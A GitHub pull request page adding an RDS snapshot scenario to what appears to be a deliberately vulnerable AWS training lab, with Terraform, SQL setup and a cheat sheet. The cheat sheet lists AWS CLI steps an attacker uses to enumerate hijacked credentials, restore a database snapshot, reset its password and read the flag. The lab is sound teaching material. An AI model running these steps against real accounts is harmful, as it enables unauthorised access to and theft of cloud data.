Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Scenario/rds_snapshot issue #241

Open
wants to merge 34 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
34 commits
Select commit Hold shift + click to select a range
7efe646
Updata : new scenario : RDS_snapshot
tt0kyu Dec 9, 2023
7e25dea
fix : A syntax errors
tt0kyu Dec 9, 2023
68a4acf
fix : A syntax errors & update : tags{name}
tt0kyu Dec 9, 2023
9f3b28d
fix : A syntax errors
tt0kyu Dec 9, 2023
ce67253
fix : provisioner error & depends_on Specify
tt0kyu Dec 9, 2023
1dc0a46
fix : provisioner error{incorrect naming}
tt0kyu Dec 9, 2023
71afa90
update : RDS instance ifno
tt0kyu Dec 9, 2023
1b47cbd
fix : add connection block for remote-exec
tt0kyu Dec 9, 2023
1465392
fix : fixed provisioner command
tt0kyu Dec 9, 2023
061d8b5
fix : provisioner error
tt0kyu Dec 9, 2023
2a05bca
update : renamed the resources
tt0kyu Dec 9, 2023
1449a91
fix : Fixed a syntax error.
tt0kyu Dec 9, 2023
75d9f07
fix : Changed the order of resource creation
tt0kyu Dec 9, 2023
7ac19ec
fix : fixed provisioner error
tt0kyu Dec 9, 2023
4d285a6
update : changed role name
tt0kyu Dec 9, 2023
58eb4b5
update : changed role name & flag
tt0kyu Dec 10, 2023
ea1915a
update : add policies
tt0kyu Dec 10, 2023
43b342a
update : cheat_sheet & README
tt0kyu Dec 10, 2023
7585eb8
Delete scenarios/RDS_Snapshot/terraform/terraform.tfstate.backup
tt0kyu Dec 10, 2023
405fac3
update : add Exploitation Route
tt0kyu Dec 10, 2023
913d82c
Renamed folder to RDS_Snapshot
tt0kyu Dec 10, 2023
c7630b5
fix : Fixed an error in the provisioner.
tt0kyu Dec 10, 2023
e54370a
update : The output command to include cgid.
tt0kyu Dec 11, 2023
b1ccc62
fix : Fixed mysql client installation to work.
tt0kyu Dec 11, 2023
5ed1881
fix : Fixed output message error
tt0kyu Dec 11, 2023
3094331
fix : Fixed mysql client installation to work.
tt0kyu Dec 11, 2023
8562afc
Update : Updated the commands to specify the VPC group and SUBNET group
tt0kyu Dec 14, 2023
a53a465
Fix : Addressed related to https://github.com/RhinoSecurityLabs/cloud…
tt0kyu Dec 18, 2023
548aa99
Update : Updated the commands to specify the VPC group and SUBNET group
tt0kyu Dec 19, 2023
d5bb83f
Update : Updated the commands to specify the VPC group and SUBNET group
tt0kyu Dec 19, 2023
06d2894
update : Added provisioner command[sudo apt-get update].
tt0kyu Dec 21, 2023
8152888
Merge pull request #3 from BoB12-C-G-V/scenario/RDS_snapshot_issue
tt0kyu Dec 25, 2023
32053db
Merge remote-tracking branch 'upstream/master' into scenario/RDS_snap…
tt0kyu Jan 18, 2024
f947c92
Merge remote-tracking branch 'origin/scenario/RDS_snapshot' into scen…
tt0kyu Jan 18, 2024
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions scenarios/rds_snapshot/assets/insert_data.sql
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
CREATE DATABASE mydatabase;
USE mydatabase;
CREATE DATABASE cgdatabase;
USE cgdatabase;
CREATE TABLE flag (
id INT AUTO_INCREMENT PRIMARY KEY,
value VARCHAR(255) NOT NULL
Expand Down
10 changes: 6 additions & 4 deletions scenarios/rds_snapshot/cheat_sheet.md
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,7 @@ An attacker can gain access to a hijacked EC2 instance.
```


An attacker can list AWS credentials on the server (enumirate)
An attacker can list AWS credentials on the server


`aws sts get-caller-identity`
Expand Down Expand Up @@ -67,15 +67,17 @@ aws rds describe-db-instances --profile david
aws rds describe-db-snapshots --db-instance-identifier cg-rds



#Restore the RDS snapshot
aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier attack-rds \
--db-snapshot-identifier cg-rds-snapshot \
--db-subnet-group-name cg-db-subnet-group \
--vpc-security-group-ids sg-xxxxxxxxxxxxxxxxx \
--vpc-security-group-ids sg-038cc4ee5486e9c42 \
--profile david



#Wait for a new instance to be created


Expand All @@ -87,6 +89,7 @@ aws rds modify-db-instance \
--profile david



#Verify the master username
aws rds describe-db-instances --db-instance-identifier attack-rds --query \ "DBInstances[.1].1
"DBInstances[].MasterUsername" --profile david
Expand All @@ -99,10 +102,9 @@ aws rds describe-db-instances --db-instance-identifier attack-rds --query \ "DBI

```


The attacker accesses the restored DB and hijacks the FLAG.
```
mysql -h attack-rds.cxxxxxxxxxxx.us-east-1.rds.amazonaws.com -P 3306 -u cgadmin -pattack1234!
mysql -h attack-rds.czunzahrebkl.us-east-1.rds.amazonaws.com -P 3306 -u cgadmin -pattack1234!
show databases;
use mydatabase;
show tables;
Expand Down
21 changes: 20 additions & 1 deletion scenarios/rds_snapshot/terraform/ec2.tf
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
data "aws_ami" "ubuntu_image" {
owners = ["amazon"]
owners = ["099720109477"]
most_recent = true

filter {
Expand Down Expand Up @@ -65,6 +65,7 @@ resource "aws_instance" "cg-ec2-instance" {
"sudo apt install python3-pip -y",
"pip3 install --upgrade pip",
"pip3 install awscli --upgrade --user",
"sudo apt-get update",
"sudo apt-get install mysql-client -y",
"cd /home/ubuntu",
"mysql -h ${aws_db_instance.cg-rds-db_instance.address} -u ${var.rds-username} -p${var.rds-password} < /home/ubuntu/insert_data.sql",
Expand All @@ -79,3 +80,21 @@ resource "aws_instance" "cg-ec2-instance" {
}
}
}
resource "null_resource" "delete_data" {
triggers = {
snapshot_id = aws_db_snapshot.cg-rds_snapshot.id
}

provisioner "remote-exec" {
inline = [
"mysql -h ${aws_db_instance.cg-rds-db_instance.address} -u ${var.rds-username} -p${var.rds-password} -D cgdatabase -e 'DROP TABLE flag;'"
]

connection {
type = "ssh"
user = "ubuntu"
private_key = file(var.ssh-private-key-for-ec2)
host = aws_instance.cg-ec2-instance.public_ip
}
}
}